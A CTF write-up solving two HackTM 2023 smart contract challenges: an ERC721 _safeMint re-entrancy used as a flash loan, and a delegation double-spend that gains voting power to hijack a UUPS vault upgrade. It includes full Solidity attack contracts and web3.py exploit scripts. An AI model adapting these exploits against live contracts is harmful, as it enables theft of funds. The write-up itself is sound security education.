I solved 2 out of 2 smart contract challenges in HackTM CTF Quals 2023.
Dragon Slayer
https://github.com/kangsangsoo/CTF-Writeups/blob/main/dragon_slayer_contracts.zip
Analysis
- We should fight against Dragon.
- Knight's sword and shield are very very weak.
- We can purchase some equips through shop.
- The equips that make us win against Dragon is very very expensive. (We have only 10 ether, but they are 1_000_000 ether)
- There is Bank and it could be helpful to make money.
Root Cause
BankNote inherites ERC721 and use _safeMint() in mint() of BankNote.
function mint(address to, uint256 tokenId) public onlyOwner {
_safeMint(to, tokenId); // why safeMint?
}
It is known that _safeMint() of ERC721 is vulnerable to re-entrancy attack because it calls onERC721Received() which behaves like callback. In addition, contracts of challenge do not have modifiers that protect them from re-entrancy.
Exploit
In Bank.sol, the number of bankNote.mint() call is three.
Among them, I chose split() because it is not implemented correctly Checks Effects Interaction.
for (uint i = 0; i < amounts.length; i++) {
uint value = amounts[i];
_ids.increment();
uint bankNoteId = _ids.current();
bankNote.mint(msg.sender, bankNoteId); // re
bankNoteValues[bankNoteId] = value;
totalValue += value;
}
require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
Part1 - mint a banknote whose amount is zero.
At merge() of Bank.sol, when bankNoteIdsFrom is empty array, it would mint a banknote whose amount is zero.
Part2 - flashloan through split
By writing the internal code of onERC721Received() which do re-entrancy, split() can achieve the same effect as flashloan.
For example, assuming that amounts = [1_000_000 ether, 0] and when only i = 1, we catch the callback, we can send 1_000_000 ether to bankNoteValues[BankNoteIdFrom] by transferPartial() before exiting the callback.
Then, we can bypass require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
This mechanism is very similar to flash loan.
Part3 - Summary
- flashloan through split()
- transform BankNote to GoldCoin
- purchases equips whose price 1_000_000 ether
- fight agianst Dragon
- sell equips that bought for fight
- transfrom GoldCoin to BankNote
- repay BankNote through transferPartial()
Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./openzeppelin-contracts/access/Ownable.sol";
import "./Shop.sol";
import "./Bank.sol";
import "./Dragon.sol";
import "./Setup.sol";
import "./Knight.sol";
import "./GoldCoin.sol";
contract Attack {
Bank public bank;
Setup public setup;
Knight public knight;
GoldCoin public goldCoin;
constructor(address _bank, address _setup, address _knight, address _goldCoin) {
knight = Knight(_knight);
setup = Setup(_setup);
bank = Bank(_bank);
setup.claim();
goldCoin = GoldCoin(_goldCoin);
}
function attack1() public {
bank.merge(new uint[](0)); // id = 1
uint[] memory mem = new uint[](3);
mem[0] = 2_000_000 ether; // id = 2
mem[1] = 0; // id = 3
mem[2] = 0; // id = 4
bank.split(1, mem);
}
function onERC721Received(address a, address b, uint256 c, bytes calldata d) public returns (bytes4) {
if(c==3) {
bank.withdraw(2);
GoldCoin(goldCoin).transfer(address(knight), 2_000_000 ether);
knight.buyItem(3);
knight.buyItem(4);
knight.fightDragon();
knight.fightDragon();
knight.sellItem(3);
knight.sellItem(4);
knight.bankDeposit(2_000_000 ether); // id = 4
knight.bankTransferPartial(4, 2_000_000 ether, 1);
}
return this.onERC721Received.selector;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) public pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}
attack.py
import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30101/5f4f62c4-5ae8-40ec-9649-5c05deb6b47d"))
#Check Connection
t=w3.isConnected()
print(t)
# Get env
prikey = '0x91a200bc38507358c63cbe8e79531065367a33353500da205b2992267fe0eb01'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address
SETUP = "0x785ed095a7B38aD8ef99675dCB7452cAA10B9483"
KNIGHT = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(SETUP, 0)[12:])))
def bank():
f = open('knight_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=KNIGHT, abi=abi)
func_call = contract.functions.bank().call()
return func_call
def goldcoin():
f = open('bank_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=BANK, abi=abi)
func_call = contract.functions.goldCoin().call()
return func_call
def attack_deploy():
f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(BANK, SETUP, KNIGHT, GOLDCOIN).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def attack():
f = open('attack_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=ATTACK, abi=abi)
func_call = contract.functions["attack1"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
BANK = bank()
GOLDCOIN = goldcoin()
ATTACK = attack_deploy()
attack()
HackTM{n0w_g0_g3t_th4t_run3_pl4t3b0dy_b4af5ff9eab4b0f7}
Diamond Heist
https://github.com/kangsangsoo/CTF-Writeups/blob/main/diamond_heist_contracts.zip
Analysis
- We should make diamond Vault to Setup contract
- Vault contract inherits UUPSUpgradeable.
- Vault contract's governance consists of SaltyPretzel's voting utils.
- Vault contract has flashloan function.
- Vault contract overrides _authorizeUpgrade()
Root Cause
It is well-known bug called sushi-swap double spending bug
https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f
The voting power do not move when token is transferred.
When first called delegate(), currentDelegate becomes 0 in _delegate(), which causes it to pass the first if statement in _moveDelegate() and only enter the second.
So we can concentrate voting power in one address by continuously transferring tokens to a new wallet.
Exploit
Part 1 - charging voting power
I prepared private keys over 100 and charged my voting power.
Flow of token
0 > 1 > 2 > ... > 99 > 100 > 101 ..
Flow of voting power
0 > ME, 1 > ME, 2 > ME, ..., 100 > ME, 101 > ME
web3py
pk = hex(1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)
for i in range(1, 110):
pk = hex(i).ljust(66, "0")
nxt_pk = hex(i+1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
nxt_addr=w3.eth.account.from_key(nxt_pk).address
transfer(addr, nxt_addr, pk)
send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i))
delegate(nxt_addr, Attack, nxt_pk)
Part 2 - upgrade implement contract address
If we satisfy below require statement, we could change implementation address.
function _authorizeUpgrade(address) internal override view {
require(msg.sender == owner() || msg.sender == address(this));
require(IERC20(diamond).balanceOf(address(this)) == 0);
}
First, we should new implement contract code for transferring diamond from Vault to me.
I wrote new_implement.sol by adding Vault.sol to transfer function
// ...
// vault.sol
function transfer(address to, uint amount) external {
diamond.transfer(to, amount);
}
// ...
// ...
Beforehand, I deployed this contract on blockchain.
And I executed flashloan() of Vault to make vault's balance of diamond zero, then we re-enter governanceCall() through callback of onFlashloan().
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
vault.governanceCall(abi.encodeWithSignature("upgradeTo(address)", new_impl));
IERC20(diamond).transfer(address(vault), 100);
}
Part3 - exploit diamond
Just execute transfer() that we generated by upgradeTo()
vault.governanceCall(abi.encodeWithSignature("transfer(address,uint256)", setup, 100));
Attack.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./VaultFactory.sol";
import "./Vault.sol";
import "./Diamond.sol";
import "./SaltyPretzel.sol";
import "./Setup.sol";
import "./SaltyPretzel.sol";
import "./openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol";
contract Attack is IERC3156FlashBorrower{
uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
address setup;
Vault public vault;
Diamond public diamond;
SaltyPretzel public saltyPretzel;
address new_impl;
constructor(address _to, address _setup, address _vault, address _diamond, address _saltyPretzel, address _new_impl) {
setup = _setup;
Setup(_setup).claim();
vault = Vault(_vault);
diamond = Diamond(_diamond);
saltyPretzel = SaltyPretzel(_saltyPretzel);
saltyPretzel.transfer(_to, 100 ether);
new_impl = _new_impl;
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
vault.governanceCall(abi.encodeWithSignature("upgradeTo(address)", new_impl));
IERC20(diamond).transfer(address(vault), 100);
}
uint public step = 0;
function attack1() public {
if(step==0) vault.flashloan(address(diamond), 100, address(this));
if(step==1) vault.governanceCall(abi.encodeWithSignature("transfer(address,uint256)", setup, 100));
step += 1;
}
}
attack.py
import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
# r = remote("34.141.16.87", 30200)
# r.sendlineafter("action", "1")
w3 = Web3(Web3.HTTPProvider("http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327"))
#Check Connection
t=w3.isConnected()
print(t)
# Get env
prikey = '0x7f26c94f0ef1686a66825e465f13d526f5a10b26d69ecc19806caeacdc9b9ca5'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address
Setup = "0x96B2D47F07Cf1eb6c1391dB72C0632dD0E4fAEf4"
Vault = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 1))))
Diamond = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 2))))
SaltyPretzel = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 3))))
def balance():
f = open('salty_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
func_call = contract.functions.balanceOf(myAddr).call()
print(func_call)
def deploy_new_impl():
f = open("new_impl_abi", "r"); contract_abi= f.read(); f.close()
f = open("new_impl_bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor().buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def init():
f = open('new_impl_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=New_impl, abi=abi)
func_call = contract.functions["initialize"](Diamond, SaltyPretzel).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def deploy_attack():
f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(myAddr, Setup, Vault, Diamond, SaltyPretzel, New_impl).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def attack():
f = open('attack_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=Attack, abi=abi)
func_call = contract.functions.attack1().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def transfer(_from, _to, _prikey):
f = open('salty_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
func_call = contract.functions.transfer(_to, 100 * 10 ** 18).buildTransaction({
"from": _from,
"nonce": w3.eth.get_transaction_count(_from),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def delegate(_from, _to, _prikey):
f = open('salty_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
func_call = contract.functions["delegate"](_to).buildTransaction({
"from": _from,
"nonce": w3.eth.get_transaction_count(_from),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def send_ether(_from, _to, _prikey, amount):
signed_txn = w3.eth.account.signTransaction(dict(
nonce=w3.eth.getTransactionCount(_from),
gasPrice = w3.eth.gasPrice,
gas = 1000000,
to=_to,
value = amount
),
_prikey
)
result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
New_impl = deploy_new_impl()
init()
Attack = deploy_attack()
pk = hex(1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)
for i in range(1, 110):
pk = hex(i).ljust(66, "0")
nxt_pk = hex(i+1).ljust(66, "0")
addr=w3.eth.account.from_key(pk).address
nxt_addr=w3.eth.account.from_key(nxt_pk).address
transfer(addr, nxt_addr, pk)
send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i))
delegate(nxt_addr, Attack, nxt_pk)
attack()
attack()
HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}
'writeups' 카테고리의 다른 글
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
---|---|
Idek CTF 2023 pwn - (baby blockchain 1,2,3) (0) | 2023.02.19 |
LA CTF 2023 - pwn(breakup, evmvm, sailor) (0) | 2023.02.13 |
RealWorldCTF 2023 - blockchain(realwrap) (0) | 2023.02.09 |
DiceCTF 2023 - pwn(Baby-Solana, OtterWorld) (0) | 2023.02.07 |